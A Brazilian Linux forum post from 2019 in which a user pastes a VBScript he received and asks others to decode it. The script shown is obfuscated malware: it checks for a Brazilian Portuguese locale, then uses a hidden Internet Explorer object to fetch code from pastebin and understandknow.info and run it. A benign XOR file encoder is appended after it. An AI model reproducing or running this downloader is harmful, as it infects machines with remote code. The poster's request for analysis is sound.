Script em Visual Basic (.vbs)

1. Script em Visual Basic (.vbs)

Izaias
izaias

(usa Ubuntu)

Enviado em 24/06/2019 - 12:31h

Recebi esse código escrito em Visual Basic. Abri no Linux com um editor de texto, mas não entendo bulhufas. :)
Poderiam decifra-lo pra mim?

Option Explicit
dim U9YKt6x,ie,url,y
mny1gVSc=GetLocale
if mny1gVSc=1046 then
U9YKt6x="mvfjMwZaTTCQnWeCPlZ6937083083809298687268749803898098398798738765363798277298728687565468458762987678265762456463548767836972987297928687276567456854876762928798278926876526423563465476548767868768257642652654ytefudgjhdghjgdjhgdhjgdjhgdjhgdeyuteuyteuyteuyteuyteuyteyutsjhghjdgjhdg37653656454793987398798363563uyetiueyiueyuKNbiv"
dim mny1gVSc,mny1gVSuii
mny1gVSuii = mny1gVSuii & ":"
mny1gVSuii = mny1gVSuii & "/"
mny1gVSuii = mny1gVSuii & "/"
dim mny1gVS
set mny1gVS=CreateObject("Microsoft.XMLHTTP")
Set ie = CreateObject("InternetExplorer.Application")
Function mny1gVScceee()
execute "ie.Navigate(URL):ie.Visible=false:DO WHILE ie.busy:LOOP"
execute "mny1gVScceee = ie.document.documentE"&"lement.inn"&"erText"
End Function
URL= "http" & mny1gVSuii & "pastebin.com/raw/G3yygQej?" & U9YKt6x
execute "mny1gVSss = mny1gVScceee()"
Function mny1gVScc()
mny1gVS.open "GET",URL,false
mny1gVS.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
mny1gVS.setRequestHeader "User-Agent", "movegoty"
execute "mny1gVS."&mny1gVSss
End Function
dim DjhcVoh
URL= "http" & mny1gVSuii & "pastebin.com/raw/NCiPkXve?" & U9YKt6x
execute "mny1gVSt = mny1gVScceee()"
URL= "http" & mny1gVSuii & "understandknow.info/?c=kdr&" & U9YKt6x
mny1gVScc()
execute "execute mny1gVSt : mny1gVSt2 = mny1gVS.responsebody : mny1gVSt = BinaryToString(mny1gVSt2)"
y = mny1gVSt
URL= "http" & mny1gVSuii & "pastebin.com/raw/wzg2QABf?" & U9YKt6x
execute "mny1gVSss = mny1gVScceee(): execute mny1gVSss"
DjhcVoh = h
ie.quit
execute "Exec" & "ute DjhcVoh & U9YKt6xmny1gVS "
End if


Dim arrKey, errResult

arrKey = GetKey( "This is a short and simple ""passphrase""" )

WScript.Echo "Encoding . . ."
errResult = Encode( "coder.vbs", "coder.enc", arrKey )
If errResult <> 0 Then
ShowError errResult
End If

WScript.Echo "Decoding again . . ."
errResult = Encode( "coder.enc", "coder.dec", arrKey )
If errResult <> 0 Then
ShowError errResult
Else
WScript.Echo "Done." & vbCrLf _
& "Compare the files ""coder.vbs"" and ""coder.dec"", " _
& "they should be identical."
End If


Sub ShowError( myError )
On Error Resume Next
Err.Raise myError
WScript.Echo "ERROR " & Err.Number & ": " & Err.Description
Err.Clear
On Error Goto 0
WScript.Quit
End Sub


Function Encode( myFileIn, myFileOut, arrCode )
' This function provides a simple (ASCII) text encoder/decoder using XOR.
' Because it uses XOR, both encoding and decoding can be performed by the
' same function, with the same key.
'
' Arguments:
' myFileIn [string] input text file (file to be encoded)
' myFileOut [string] output file (encoded text)
' arrCode [array of int] "key", consisting of any number of integers
' from 1 to 255; avoid 0, though it can be used,
' it doesn't encode anything.
' Use any number of elements in the "key" array,
' each element multiplies the number of possible
' keys by 255 (not 256 since 0 is avoided).
' If only a single element is used, it may be
' passed either as an array or as a single integer.
'
' Return code:
' 0 if all went well, otherwise the appropriate error number.
'
' Written by Rob van der Woude
' http://www.robvanderwoude.com

' Standard housekeeping
Dim i, objFSO, objFileIn, objFileOut, objStreamIn

Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateFalse = 0
Const TristateMixed = -2
Const TristateTrue = -1
Const TristateUseDefault = -2

' Use custom error handling
On Error Resume Next

' If the "key" is a single digit, convert it to an array
If Not IsArray( arrCode ) Then
arrCode = Array( arrCode )
End If

' Check if a valid "key" array is used
For i = 0 To UBound( arrCode )
If Not IsNumeric( arrCode(i) ) Then
' 1032 Invalid character
Encode = 1032
Exit Function
End If
If arrCode(i) < 0 Or arrCode(i) > 255 Then
' 1031 Invalid number
Encode = 1031
Exit Function
End If
Next

' Open a file system object
Set objFSO = CreateObject( "Scripting.FileSystemObject" )

' Open the input file if it exists
If objFSO.FileExists( myFileIn ) Then
Set objFileIn = objFSO.GetFile( myFileIn )
Set objStreamIn = objFileIn.OpenAsTextStream( ForReading, TriStateFalse )
Else
' Error 53: File not found
Encode = 53
' Close input file and release objects
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFSO = Nothing
' Abort
Exit Function
End If

' Create the output file, unless it already exists
If objFSO.FileExists( myFileOut ) Then
' Error 58: File already exists
Encode = 58
' Close input file and release objects
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFSO = Nothing
' Abort
Exit Function
Else
Set objFileOut = objFSO.CreateTextFile( myFileOut, True, False )
End If

' Encode the text from the input file and write it to the output file
i = 0
Do Until objStreamIn.AtEndOfStream
i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
objFileOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
Loop

' Close files and release objects
objFileOut.Close
objStreamIn.Close
Set objStreamIn = Nothing
Set objFileIn = Nothing
Set objFileOut = Nothing
Set objFSO = Nothing

' Return the error number as status information
Encode = Err.Number

' Done
Err.Clear
On Error Goto 0
End Function


Function GetKey( myPassPhrase )
' This function converts a password or passphrase
' into a "key" array for the Encode function.
Dim i, arrCode( )
ReDim arrCode( Len( myPassPhrase ) - 1 )
For i = 0 To UBound( arrCode )
arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
Next
GetKey = arrCode
End Function





  






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts